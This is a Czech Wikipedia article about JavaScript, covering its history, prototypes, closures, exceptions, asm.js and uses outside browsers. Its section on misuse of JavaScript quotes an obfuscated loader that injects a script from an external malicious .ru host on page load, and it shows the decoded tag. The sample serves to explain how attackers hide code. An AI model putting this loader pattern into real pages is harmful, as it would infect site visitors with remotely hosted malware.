JavaScript

Z Wikipedie, otevřené encyklopedie
Možná hledáte: programovací jazyk Java.
JavaScript
[[Soubor:Neoficiální logo JavaScriptu|200px|]]
Paradigmaobjektový, funkcionální
Vznik1995
AutorBrendan Eich
VývojářNetscape Communications Corporation, Mozilla Foundation
Poslední verzeECMAScript 6[1] (17. června 2015)
Typová kontroladynamická, duck-typing
Hlavní implementaceKJS, Rhino, SpiderMonkey, V8, Chakra
Ovlivněn jazykyJava, Self, C, Scheme
Ovlivnil jazykyActionScript, CoffeeScript, Dart, JScript .NET, Objective-J, QML, TypeScript, Node.js, LiveScript

JavaScript je multiplatformní, objektově orientovaný skriptovací jazyk, jehož autorem je Brendan Eich z tehdejší společnosti Netscape.

Nyní se zpravidla používá jako interpretovaný programovací jazyk pro WWW stránky, často vkládaný přímo do HTML kódu stránky. Jsou jím obvykle ovládány různé interaktivní prvky GUI (tlačítka, textová políčka) nebo tvořeny animace a efekty obrázků.

Jeho syntaxe (zápis zdrojového textu) patří do rodiny jazyků C/C++/Java. Ale JavaScript je od těchto jazyků zásadně odlišný, sémanticky (funkčně, pricipiálně) jde o jiný jazyk. Slovo Java je součástí jeho názvu pouze z marketingových důvodů. JavaScript byl v červenci 1997 standardizován asociací ECMA (European Computer Manufacturers Association) a v srpnu 1998 ISO (International Organization for Standardization). Standardizovaná verze JavaScriptu je pojmenována ECMAScript a z ní byly odvozeny i další implementace, jako je například ActionScript.

JavaScript byl původně obchodní název implementace společnosti Netscape, kde byl vyvíjen nejprve pod názvem Mocha, později LiveScript, ohlášen byl společně se společností Sun Microsystems v prosinci 1995 jako doplněk k jazykům HTMLJava. Pro verzi firmy Microsoft je použit název JScript. Ten je podporován platformou .NET.

Program v JavaScriptu se obvykle spouští až po stažení WWW stránky z Internetu (tzv. na straně klienta), na rozdíl od ostatních jiných interpretovaných programovacích jazyků (např. PHPASP), které se spouštějí na straně serveru ještě před stažením z Internetu. Z toho plynou jistá bezpečností omezení, JavaScript např. nemůže pracovat se soubory, aby tím neohrozil soukromí uživatele.

JavaScript je možné použít i na straně serveru. První implementací JavaScriptu na straně serveru byl LiveWire firmy Netscape vypuštěný roku 1996, dnes existuje několik možností včetně opensource implementace Rhinola založené na Rhino, gcj, Node.jsApache.

Kromě DHTML se JavaScript používá k psaní rozšíření pro mnohé aplikace, například Adobe Acrobat.

JavaScript je také možno spouštět v operačních systémech Windows pomocí programu Windows Script Host a nahradit tak dávkové soubory MS-DOS.

Rysy objektově orientovaného programování

Dynamické

Dynamické přiřazení typů (Dynamic typing)

Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript pochopitelně podporuje řadu způsobů, jak typ objektu otestovat.

Objekty jako asociativní pole (objects as associative fields)

JavaScript je převážně objektově založený. Objekty jsou asociativními poli, rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole: obj.x = 10obj["x"] = 10 jsou tedy ekvivalentními výrazy, první varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for … in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.

Runtime evaluation (= míra možných akcí proveditelných za běhu programu)

Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.

Funkcionální

Funkce první třídy (first-class functions)

Označení funkce první třídy vyjadřuje, že funkce jsou samy o sobě také objekty. Jako takové, mají tedy své atributy a mohou být předány dále, anebo s nimi lze manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktorymetody).

Anonymní (vnitřní) funkce a uzávěry (closures)

Vnitřní funkce (neboli funkce definované uvnitř jiných (vnějších) funkcí) jsou vytvořeny při každém zavolání funkce nadřazené, a proměnné funkcí vnějších existují po dobu existence funkce vnitřní, dokonce i po ukončení zavolání (tedy i po navrácení této vnitřní funkce, má daná funkce stále přístup k proměnným své funkce vnější) – toto je mechanismus v JavaScriptu nazývaný jako closures – uzávěry.

Prototypové (prototype-based)

Prototypy (Prototypes)

Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností třídově založených (class-based) mechanismů, například dědičnost, která je u JavaScriptu nazývána právě jako dědičnost prototypová, která je vysvětlena na příkladu níže.

Funkce jako konstruktory objektů (Functions as constructors)

Funkce tedy mají v JavaScriptu kromě své běžné role význam jako konstruktory objektů. Voláním konstruktoru pomocí operátoru new se pak vytvoří nový objekt (instance). Vlastnost objektu se deklaruje přes klíčové slovo this. Přímo při vytváření objektu lze tedy přejímáním parametrů volaného konstruktoru inicializovat jednotlivé proměnné. Atribut prototype dané funkce potom určuje prototyp nově vytvořeného objektu. Příklad konstruktoru třídy Auto:

// Definice konstruktoru
function Auto(znacka, spz) {
  this.znacka = znacka;
  this.spz = spz;
  this.vypisZnacku = function () {
    alert(this.znacka);
  };
}
// Vytvoření nového auta
var mojeAuto = new Auto("mercedes", "3A4983");
// Zavolání metody
mojeAuto.vypisZnacku();


Funkce jako metody (Functions as methods)

Na rozdíl od většiny objektově orientovaných jazyků, u JavaScriptu nerozlišuje mezi definicí metody a definicí funkce. Znatelný rozdíl však vyvstane při volání – funkce může být volána jako metoda. Je-li funkce volána jako metoda objektu, je se svým objektem svázána klíčovým slovem this.

Dědičnost (Inheritance)

Podrobnější informace naleznete v článku Dědičnost (objektově orientované programování).

Ačkoliv má JavaScript určité prvky dědičnosti, nejedná se o klasickou dědičnost známou z typových jazyků C++ nebo Java. JavaScript nepodporuje zápis tříd (pouze konstruktor) a s tím spojenou hierarchii tříd, proto lze hovořit spíše o jakési simulaci (viz oddíl prototypy výše) dědičnosti, nazvanou dědičnost prototypová. Prototyp slouží jako zvláštní objekt, který je přidružen každé funkci (tedy i k funkci jako konstruktoru). Všechny objekty inicializované skrze nějaký konstruktor dědí, respektive sdílejí, vlastnosti a metody obsažené právě v prototypu daného konstruktoru.

Podíváte-li se zpět na zápis konstruktoru auto, v objektu je vložená také metoda vypisZnacku(). Technicky má v paměti každá instance této „třídy“ lokální kopii této metody, což je přinejmenším z hlediska správy paměti nevhodné. Právě tento problém řeší prototypy, neboť stačí metodu deklarovat na úrovni prototypu a ta již nebude součástí každé instance. To ovšem neznamená, že nebude dosažitelná. Při vyhodnocování JavaScript hledá metodu nejprve v příslušném objektu, pakliže ji nenajde, jde o úroveň výše – do prototypu konstruktoru. Samozřejmě je vhodné sdílení pouze takových datových složek, které jsou neměnné pro všechny instance. To znamená především metody a konstanty. Jak by vypadal upravený zápis předchozího příkladu můžete vidět níže:

// Definice konstruktoru
function Auto(znacka, spz) {
  this.znacka = znacka;
  this.spz = spz;
}
Auto.prototype.vypisZnacku = function () {
  alert(this.znacka);
};


Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru planeta jako prototyp objekt VesmirnyObjekt:

function VesmirnyObjekt(soustava) {
  this.soustava = soustava || "Sluneční";
}
function Planeta(soustava, jmeno, pocetMesicu) {
  this.parent(soustava); // Zde zavoláme konstruktor rodiče a předáme mu soustavu
  this.jmeno = jmeno;
  this.pocetMesicu = pocetMesicu || 0;
}
// Podporováno od ES 5, tuto funkci je možné dodefinovat (ukázka např. na MDN):
Planeta.prototype = Object.create(VesmirnyObjekt.prototype);
// Je dobrým zvykem, aby vlastnost constructor odkazovala na správnou funkci (Object.create tuto vlastnost přepsala):
Planeta.prototype.constructor = Planeta;
// A nakonec přiřadíme do prototypu odkaz na rodiče:
Planeta.prototype.parent = VesmirnyObjekt;

// Vytvoříme novou instanci planety:
var planeta = new Planeta("Alfa Centauri", "Terra Nova", 2);
alert("Soustava: " + planeta.soustava
  + ", planeta: " + planeta.jmeno 
  + ", počet měsíců: " + planeta.pocetMesicu);


Výjimky (Exceptions)

Rysem společným s objektově orientovanými jazyky jsou také výjimky. Jedná se o mechanismus zachytávání stavů vyvolaných chybným kódem, například přístupem k neexistující metodě. Tyto chyby lze zachytávat pomocí klíčových slov try, catch a volitelně finally. Na rozdíl od jiných jazyků však výjimka může být jakéhokoli typu, tzn. můžeme vyvolat jako výjimku i řetězec nebo číslo:

function Person(name) {
  if (!name) {
    throw "You have to define the person's name!";
  }
  this.name = name;
}

try {
  var person = new Person();
}
catch (ex) {
  alert(typeof ex); // Bude string
  alert(ex); // Vypíše obsah hlášky
}

Je však dobrým zvykem vyvolávat výjimky s typem Error či podobnými.

Rozšíření asm.js

Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou[2], která je určena pro výrazné zrychlení běhu javascriptových aplikací, podobně jako technologie NaCl a jazyk Dart od Google. Rychlost v současné době dosahuje na hodnoty jen asi o 50% nižší, než kód generovaný překladači[3], zejména původně napsaných pro hry z oblasti PC[4], typicky napsané v jazyce C nebo C++.

Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v současné době, Mozilla Firefox, Google Chrome, Opera a Microsoft Edge.[5][6][7][8]

Podpora JavaScriptu ve webových prohlížečích

Webový prohlížeč uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí.

Podle údajů firmy Yahoo z roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 % (celosvětový průměr), od 0,25 % v Brazílii po 2 % v USA.[9]

V rámci tzv. webové přístupnosti by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.

Zneužívání JavaScriptu

Protože je JavaScript součástí většiny prohlížečů, existuje snaha o jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu IFRAME nebo použití nečitelného kódu v samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky.[10]

Co se týká druhé možnosti, např. kód:

<script>
try{window.onload = function() {
var Q236s4ic4454clw = document.createElement('script');
Q236s4ic4454clw.setAttribute('type', 'text/javascript');
Q236s4ic4454clw.setAttribute('id', 'myscript1');
Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.***);
// místo "***" má být "replace('/\(|\!|&|#|\$|\)|@|\^/ig', '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy

Q236s4ic4454clw.setAttribute('defer', 'defer');
document.body.appendChild(Q236s4ic4454clw);
}
catch(e) {}
</script>

vygeneruje HTML kód:

<script defer="defer" src="http://clicksor-com.eastmoney.com.mobile-de.homesaleplus.ru:8080/ocn.ne.jp/ocn.ne.jp/classmates.com/linkhelper.cn/google.com/" id="myscript1" type="text/javascript"></script>

který vlastní škodlivý kód načte z vnější adresy mimo napadený server.[10]

Použití mimo webové stránky

Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.

Vestavěný scriptovací jazyk

  • Většina rozšíření pro webové prohlížeče jsou implementováná použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
  • Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
  • Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
  • Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
  • Kancelářský balík aplikací OpenOffice umožňuje JavaScript používat jako skriptovací jazyk.
  • Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
  • Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
  • ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
  • Herní engine Unity 3D podporuje upravenou verzi JavaScriptu pro skriptování pomocí Mono.[11]
  • DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.[12]
  • Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.[13]
  • Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail. [14]
  • Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
  • Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.

Skriptovací engine

  • Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.[15]
  • Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky. [16]
  • Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.[17]

Vývojové nástroje

Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.[18]

Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.[19][20][21]

Odkazy

Reference

  1. Standard ECMA-262 [online]. Ecma International, 2015-06-17. Dostupné online. 
  2. http://asmjs.org/ Homepage (anglicky)
  3. JELÍNEK, Lukáš. Asm.js zrychluje. www.linuxexpres.cz [online]. linuxexpres.cz, 2013-12-23 [cit. 2018-05-18]. Dostupné online. 
  4. URBAN, Petr. Epic Games ve spolupráci s Mozillou v prohlížeči zprovoznil Unreal Engine 4. Cnews.cz [online]. 2014-03-13 [cit. 2018-05-18]. Dostupné online. 
  5. mbest. Chrome and Opera Optimize for Mozilla-Pioneered Asm.js. Future Releases [online]. [cit. 2018-05-18]. Dostupné online. (anglicky) 
  6. http://www.linuxexpres.cz/novinky/asm-js-zrychluje Asm.js zrychluje (česky)
  7. Microsoft announces asm.js optimizations. Luke Wagner's Blog [online]. Mozilla Firefox, 2015-02-18 [cit. 2018-05-18]. Dostupné online. (anglicky) 
  8. PFLUG, Kyle. Introducing EdgeHTML 13, our first platform update for Microsoft Edge. Microsoft Windows [online]. 2015-11-16 [cit. 2018-05-18]. Dostupné online. (anglicky) 
  9. HEIN, Ruud. How Many Users Have JavaScript Disabled. www.searchenginepeople.com [online]. searchenginepeople.com, 2010-12-14 [cit. 2018-05-18]. Dostupné online. (anglicky) 
  10. a b From Hidden Iframes to Obfuscated Scripts. Unmask Parasites [online]. 23 Dec 09. Dostupné online. 
  11. Unity Scripting [online]. unity3d.com [cit. 2013-01-29]. Dostupné online. 
  12. Technical Specification [online]. dxstudio.com [cit. 2009-10-20]. Dostupné online. 
  13. THINK! The Maxwell Render Resourcer Center, Scripting References Archivováno 2. 11. 2011 na Wayback Machine.
  14. Google Apps Script, Welcome to Google Apps Script
  15. Version Information (JavaScript) [online]. Msdn.microsoft.com [cit. 2013-05-26]. Dostupné online. 
  16. javax.script release notes [online]. Java.sun.com [cit. 2009-05-19]. Dostupné online. 
  17. Nokia Corporation, QtScript Module Archivováno 9. 7. 2010 na Wayback Machine.
  18. Advanced Debugging With JavaScript [online]. alistapart.com, 2009-02-03 [cit. 2010-05-28]. Dostupné online. 
  19. The JavaScript Debugging Console [online]. javascript.about.com, 2010-05-28 [cit. 2010-05-28]. Dostupné online. 
  20. SplineTech JavaScript Debugger - an independent standalone JavaScript Debugger [online]. javascript-debugger.com, 2013-08-26 [cit. 2013-08-26]. Dostupné online. 
  21. Debugging with Node Inspector [online]. http://docs.strongloop.com/ [cit. 2014-05-07]. Dostupné v archivu pořízeném dne 2014-05-08. 

Související články

Externí odkazy